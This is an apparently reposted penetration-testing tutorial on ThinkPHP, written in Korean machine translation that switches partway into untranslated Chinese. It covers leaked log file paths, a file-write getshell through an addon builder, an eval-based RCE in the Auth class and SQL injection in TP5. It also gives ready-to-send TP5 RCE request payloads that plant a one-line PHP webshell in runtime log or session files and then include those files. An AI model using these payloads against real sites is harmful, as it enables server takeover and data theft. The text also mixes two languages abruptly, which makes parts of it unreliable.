>  기사  >  PHP 프레임워크  >  ThinkPHP의 일부 침투 방법

ThinkPHP의 일부 침투 방법

藏色散人
藏色散人앞으로
2020-12-21 09:18:115071검색

다음 thinkphp프레임워크 튜토리얼 칼럼에서는 ThinkPHP의 몇 가지 침투 방법을 소개하겠습니다. 도움이 필요한 친구들에게 도움이 되길 바랍니다!

ThinkPHP는 Windows/Unix/Linux 및 기타 서버 환경을 지원할 수 있는 빠르고 호환 가능하며 간단한 경량 국내 PHP 개발 프레임워크입니다. 공식 버전은 PHP5.0 이상이 필요하며 MySql, PgSQL, Sqlite 및 다양한 데이터베이스를 지원합니다. 확대.

런타임 로그

ThinkPHP3 버전에서는 항목 파일 index.php가 애플리케이션 디렉터리 및 프레임워크 디렉터리와 동일한 디렉터리에 있습니다. DEBUG가 켜져 있으면 런타임에 로그 파일이 생성되어 일부 관리 사용자 이름이 유출됩니다. 및 백그라운드 로그인을 위한 비밀번호 등 tp3의 로그 파일 명명 규칙은 다음과 같습니다: 루트 디렉터리(또는 응용 프로그램 디렉터리)/Runtime/Logs/Admin/20_08_17.log(year_month_day.log의 처음 2자리)

ThinkPHP의 일부 침투 방법

tp5 버전에서는 항목 파일 index는 응용 프로그램 디렉터리 및 프레임워크 디렉터리와 동일한 디렉터리가 아닌 공용 디렉터리에 있습니다. 그러나 일부 관리자는 항목 파일을 응용 프로그램 디렉터리 및 프레임워크 디렉터리와 동일한 디렉터리에 배치합니다.

./runtime/log/202008/17.log(./runtime/log/年月/日.log)

ThinkPHP의 일부 침투 방법

file_put_contents 함수

ThinkPHP3에서는 배경에서 구성 파일을 쓰는 경우가 있습니다. getshell을 사용하므로 저는 전역적으로 file_put_contents 함수를 검색한 다음 인터넷에서 감사용 코드인 yershop(TP3에서 개발한 버전)을 찾는 경향이 있습니다. 백그라운드에서는 파일을 작성하여 셸을 얻을 수 있습니다. file_put_contents 함수를 전역적으로 검색하여 AddonsController.class.php 컨트롤러의 빌드가 존재하는지 확인하세요.

ThinkPHP의 일부 침투 방법

파일을 쓰는 곳이 두 곳인 것으로 확인되었습니다. 첫 번째는 다음 조건을 충족해야 합니다.

$addon_dir可控,$data可控,$addonModel可控

두 번째는 충족해야 합니다.

$data['has_config'] == 1,$addon_dir可控

Tracing에서 $data를 가져온 것으로 나타났습니다. 전역 POST, 모두 제어 가능, 즉 $addon_dir을 제어할 수 있습니다.

ThinkPHP의 일부 침투 방법

다음과 같이 페이로드를 구성하고 백그라운드에서 확장을 만듭니다.

ThinkPHP의 일부 침투 방법

확인을 클릭하여 패킷을 캡처합니다. 먼저 해당 식별 이름의 플러그인이 존재하는지 확인합니다. 존재하지 않으면 빌드 액세스가 실행됩니다.

ThinkPHP의 일부 침투 방법

$data['has_config'] == 1을 충족하려면 config.php 파일을 작성해야 하므로 최종적으로 페이로드가 구성됩니다.

방문: index.php?s=/Admin/Addons/build.html

POST가 다음 주소로 전송되었습니다:

info%5Bname%5D=Example&info%5Btitle%5D=%E7%A4%BA%E5%88%97&info%5Bversion%5D=0.1&info%5Bauthor%5D=%E6%97%A0%E5%90%8D&info%5Bdescription%5D=%E8%BF%99%E6%98%AF%E4%B8%80%E4%B8%AA%E4%B8%B4%E6%97%B6%E6%8F%8F%E8%BF%B0&info%5Bstatus%5D=1&config=%3C%3Fphp%0D%0Areturn+array(%0D%0A%09&#39;random&#39;%3D%3Earray(%2F%2F%E9%85%8D%E7%BD%AE%E5%9C%A8%E8%A1%A8%E5%8D%95%E4%B8%AD%E7%9A%84%E9%94%AE%E5%90%8D+%2C%E8%BF%99%E4%B8%AA%E4%BC%9A%E6%98%AFconfig%5Brandom%5D%0D%0A%09%09&#39;title&#39;%3D%3E&#39;%E6%98%AF%E5%90%A6%E5%BC%80%E5%90%AF%E9%9A%8F%E6%9C%BA%3A&#39;%2C%2F%2F%E8%A1%A8%E5%8D%95%E7%9A%84%E6%96%87%E5%AD%97%0D%0A%09%09&#39;type&#39;%3D%3E&#39;radio&#39;%2C%09%09+%2F%2F%E8%A1%A8%E5%8D%95%E7%9A%84%E7%B1%BB%E5%9E%8B%EF%BC%9Atext%E3%80%81textarea%E3%80%81checkbox%E3%80%81radio%E3%80%81select%E7%AD%89%0D%0A%09%09&#39;options&#39;%3D%3Earray(%09%09+%2F%2Fselect+%E5%92%8Cradion%E3%80%81checkbox%E7%9A%84%E5%AD%90%E9%80%89%E9%A1%B9%0D%0A%09%09%09&#39;1&#39;%3D%3E&#39;%E5%BC%80%E5%90%AF&#39;%2C%09%09+%2F%2F%E5%80%BC%3D%3E%E6%96%87%E5%AD%97%0D%0A%09%09%09&#39;0&#39;%3D%3E&#39;%E5%85%B3%E9%97%AD&#39;%2C%0D%0A%09%09)%2C%0D%0A%09%09&#39;value&#39;%3D%3E&#39;1&#39;%2C%09%09%09+%2F%2F%E8%A1%A8%E5%8D%95%E7%9A%84%E9%BB%98%E8%AE%A4%E5%80%BC%0D%0A%09)%2C%0D%0A)%3B%0D%0A%09%09%09%09%09&custom_config=&admin_list=&#39;model&#39;%3D%3E&#39;Example&#39;%2C%09%09%2F%2F%E8%A6%81%E6%9F%A5%E7%9A%84%E8%A1%A8%0D%0A%09%09%09&#39;fields&#39;%3D%3E&#39;*&#39;%2C%09%09%09%2F%2F%E8%A6%81%E6%9F%A5%E7%9A%84%E5%AD%97%E6%AE%B5%0D%0A%09%09%09&#39;map&#39;%3D%3E&#39;&#39;%2C%09%09%09%09%2F%2F%E6%9F%A5%E8%AF%A2%E6%9D%A1%E4%BB%B6%2C+%E5%A6%82%E6%9E%9C%E9%9C%80%E8%A6%81%E5%8F%AF%E4%BB%A5%E5%86%8D%E6%8F%92%E4%BB%B6%E7%B1%BB%E7%9A%84%E6%9E%84%E9%80%A0%E6%96%B9%E6%B3%95%E9%87%8C%E5%8A%A8%E6%80%81%E9%87%8D%E7%BD%AE%E8%BF%99%E4%B8%AA%E5%B1%9E%E6%80%A7%0D%0A%09%09%09&#39;order&#39;%3D%3E&#39;id+desc&#39;%2C%09%09%2F%2F%E6%8E%92%E5%BA%8F%2C%0D%0A%09%09%09&#39;list_grid&#39;%3D%3Earray(+%09%09%2F%2F%E8%BF%99%E9%87%8C%E5%AE%9A%E4%B9%89%E7%9A%84%E6%98%AF%E9%99%A4%E4%BA%86id%E5%BA%8F%E5%8F%B7%E5%A4%96%E7%9A%84%E8%A1%A8%E6%A0%BC%E9%87%8C%E5%AD%97%E6%AE%B5%E6%98%BE%E7%A4%BA%E7%9A%84%E8%A1%A8%E5%A4%B4%E5%90%8D%E5%92%8C%E6%A8%A1%E5%9E%8B%E4%B8%80%E6%A0%B7%E6%94%AF%E6%8C%81%E5%87%BD%E6%95%B0%E5%92%8C%E9%93%BE%E6%8E%A5%0D%0A++++++++++++++++&#39;cover_id%7Cpreview_pic%3A%E5%B0%81%E9%9D%A2&#39;%2C%0D%0A++++++++++++++++&#39;title%3A%E4%B9%A6%E5%90%8D&#39;%2C%0D%0A++++++++++++++++&#39;description%3A%E6%8F%8F%E8%BF%B0&#39;%2C%0D%0A++++++++++++++++&#39;link_id%7Cget_link%3A%E5%A4%96%E9%93%BE&#39;%2C%0D%0A++++++++++++++++&#39;update_time%7Ctime_format%3A%E6%9B%B4%E6%96%B0%E6%97%B6%E9%97%B4&#39;%2C%0D%0A++++++++++++++++&#39;id%3A%E6%93%8D%E4%BD%9C%3A%5BEDIT%5D%7C%E7%BC%96%E8%BE%91%2C%5BDELETE%5D%7C%E5%88%A0%E9%99%A4&#39;%0D%0A++++++++++++)%2C%0D%0A%09%09%09%09%09&custom_adminlist=&has_config=1&config=<?php phpinfo();?>

성공적으로 config.php 파일을 작성하고 Addons/Example/config.php를 방문하세요.

ThinkPHP의 일부 침투 방법

그래서 tp3에서 개발한 소스코드에서는 전역적으로 file_put_contents를 검색하면 당첨되기 쉽습니다.

Auth로 인한 RCE

tp3에는 Auth의 getAuthList 메소드에 eval 함수가 있는데,

ThinkPHPLibraryThinkAuth.class.php 코드를 따르세요.

ThinkPHP의 일부 침투 방법

$command 변수는 제어 가능하다는 요구 사항을 충족해야 합니다. $command는 [table prefix]_auth_rule의 조건 필드로 여전히 yershop 소스 코드를 기반으로 분석됩니다. yershop_auth_rule입니다.

ThinkPHP의 일부 침투 방법

그래서 취약점을 유발하려면 조건 필드에 악성 코드를 작성해야 하며 이를 작성하려면 pdo를 지원해야 합니다. tp3는 pdo를 사용하여 데이터베이스에 연결합니다. 여기에서 만족하면 getshell을 클릭해야 합니다.

ApplicationHomeControllerOrderController.class.php 파일의 세부 메소드에서 I 메소드를 통해 id 매개변수를 가져옵니다.

ThinkPHP의 일부 침투 방법

 

利用pdo修改condition字段

ThinkPHP의 일부 침투 방법

 

继续分析,怎么调用到getAuthList这个方法的,在Application\Admin\Controller\AdminController.class.php控制器中,调用了checkRule方法,在checkRule方法实列了Auth类,并调用了check方法。

ThinkPHP의 일부 침투 방법

 

跟进check方法:

ThinkPHP의 일부 침투 방법

 

在104行调用了我们的getAuthList方法,执行到了eval函数处。要触发rce,从代码中可以看到需要普通用户的权限才会执行到checkRule方法,所以先添加一个新用户并新增一个用户组,给文章管理的权限。

ThinkPHP의 일부 침투 방법

 

登录这个用户,访问注入修改的路由,成功rce。

ThinkPHP의 일부 침투 방법

 

SQL注入

在TP3.1.3和TP3.2.3注入都差不多,无非就表达式注入,bind注入,find/select/delete注入,order注入,在之前的文章中,分析过关于tp3.2.3的注入,这里主要是TP5的注入。

ThinkPHP8b378709636b7f3a39d36da6380d0875builder->update

ThinkPHP의 일부 침투 방법

 

在parseData方法中,进行了sql语句的拼接。

ThinkPHP의 일부 침투 방법

 

当参数传入数组的时候,下标0为exp时候,直接返回下标为1的参数值,而为inc或者dec时候,通过parseKey方法处理了下标为1的参数值,跟进查看parseKey方法:

protected function parseKey($key, $options = [])
    {
        $key = trim($key);
        if (strpos($key, &#39;$.&#39;) && false === strpos($key, &#39;(&#39;)) {
            // JSON字段支持
            list($field, $name) = explode(&#39;$.&#39;, $key);
            $key                = &#39;json_extract(&#39; . $field . &#39;, \&#39;$.&#39; . $name . &#39;\&#39;)&#39;;
        } elseif (strpos($key, &#39;.&#39;) && !preg_match(&#39;/[,\&#39;\"\(\)`\s]/&#39;, $key)) {
            list($table, $key) = explode(&#39;.&#39;, $key, 2);
            if (&#39;__TABLE__&#39; == $table) {
                $table = $this->query->getTable();
            }
            if (isset($options[&#39;alias&#39;][$table])) {
                $table = $options[&#39;alias&#39;][$table];
            }
        }
        if (!preg_match(&#39;/[,\&#39;\"\*\(\)`.\s]/&#39;, $key)) {
            $key = &#39;`&#39; . $key . &#39;`&#39;;
        }
        if (isset($table)) {
            if (strpos($table, &#39;.&#39;)) {
                $table = str_replace(&#39;.&#39;, &#39;`.`&#39;, $table);
            }
            $key = &#39;`&#39; . $table . &#39;`.&#39; . $key;
        }
        return $key;
    }

然而parseKey并没有对传入的字符进行任何过滤,所以当输入exp,inc,dec,都返回的字符串,为什么参数值为exp的时候不能产生注入,原因是在用input方法传入的时候,要经过filterExp进行过滤。

public function filterExp(&$value)
    {
        // 过滤查询特殊字符
        if (is_string($value) && preg_match(&#39;/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT LIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i&#39;, $value)) {
            $value .= &#39; &#39;;
        }
        // TODO 其他安全过滤
    }

当匹配到exp的时候,就会在exp后面添加一个空格,导致不能同parseKey方法中的exp相等。同样,利用insert方法向数据库插入数据也是同种原理。由于篇幅问题,网上的分析文章也多,之后的注入不想再造轮子了,可以详细看这个师傅的文章:https://github.com/Mochazz/ThinkPHP-Vuln

TP5 rce漏洞

TP5的rce漏洞影响版本:ThinkPHP 5.0.x ~ 5.0.23、ThinkPHP 5.1.x ~ 5.1.31、ThinkPHP 5.2.0beta1

TP5rce的分析网上也比较多了,这里主要说下在TP渗透,php7版本的关于log文件和session文件包含的问题。

runtime文件包含拿shell

先写入一句话到runtime日志中,POST发送。

_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST[&#39;cmd&#39;])?>

runtime的日志文件为./runtime/log/202008/17.log

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log/202008/17.log&cmd=phpinfo();

ThinkPHP의 일부 침투 방법

 

session文件包含拿shell

写入session文件

_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST[&#39;cmd&#39;])?>&server[]=1

一般linux下的session文件存储在/var/lib/php/session,session的命名为sess_[PHPSESSID]。

_method=__construct&method=get&filter[]=think\__include_file&get[]=/var/lib/php/session/sess_sf9vlodcl4j4r1bhli2ddnvr32&server[]=1&cmd=phpinfo();

ThinkPHP의 일부 침투 방법

 

其实也可以用反序列化的点来,只是有点麻烦,需要去调代码。

_method=__construct&filter=unserialize&method=get&server[REQUEST_METHOD]=序列化

反序列化

反序列化点通常都是在代码审计当中被发现的,当unserialize可控时可以触发,但是只光靠unserialize可控很难找到可控点,这时安全研究员Sam Thomas分享了一个关于phar反序列的漏洞,大大增加了反序列化的利用点。由于TP5-6的反序列化分析篇幅比较大,可以直接看下面文章进行深度学习:

Thinkphp5.0.24反序列:https://jfanx1ng.github.io/2020/05/07/ThinkPHP5.0.24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

Thinkphp5.1.x反序列:https://jfanx1ng.github.io/2020/05/09/ThinkPHP5.1.x%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE%E5%88%86%E6%9E%90/
Thinkphp6.x反序列:https://jfanx1ng.github.io/2020/05/13/ThinkPHP6.0%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90

phar反序列化挖掘案列:https://bbs.ichunqiu.com/thread-57947-1-1.html

今天的文章分享,小伙伴们看懂了吗?

위 내용은 ThinkPHP의 일부 침투 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 cnblogs.com에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제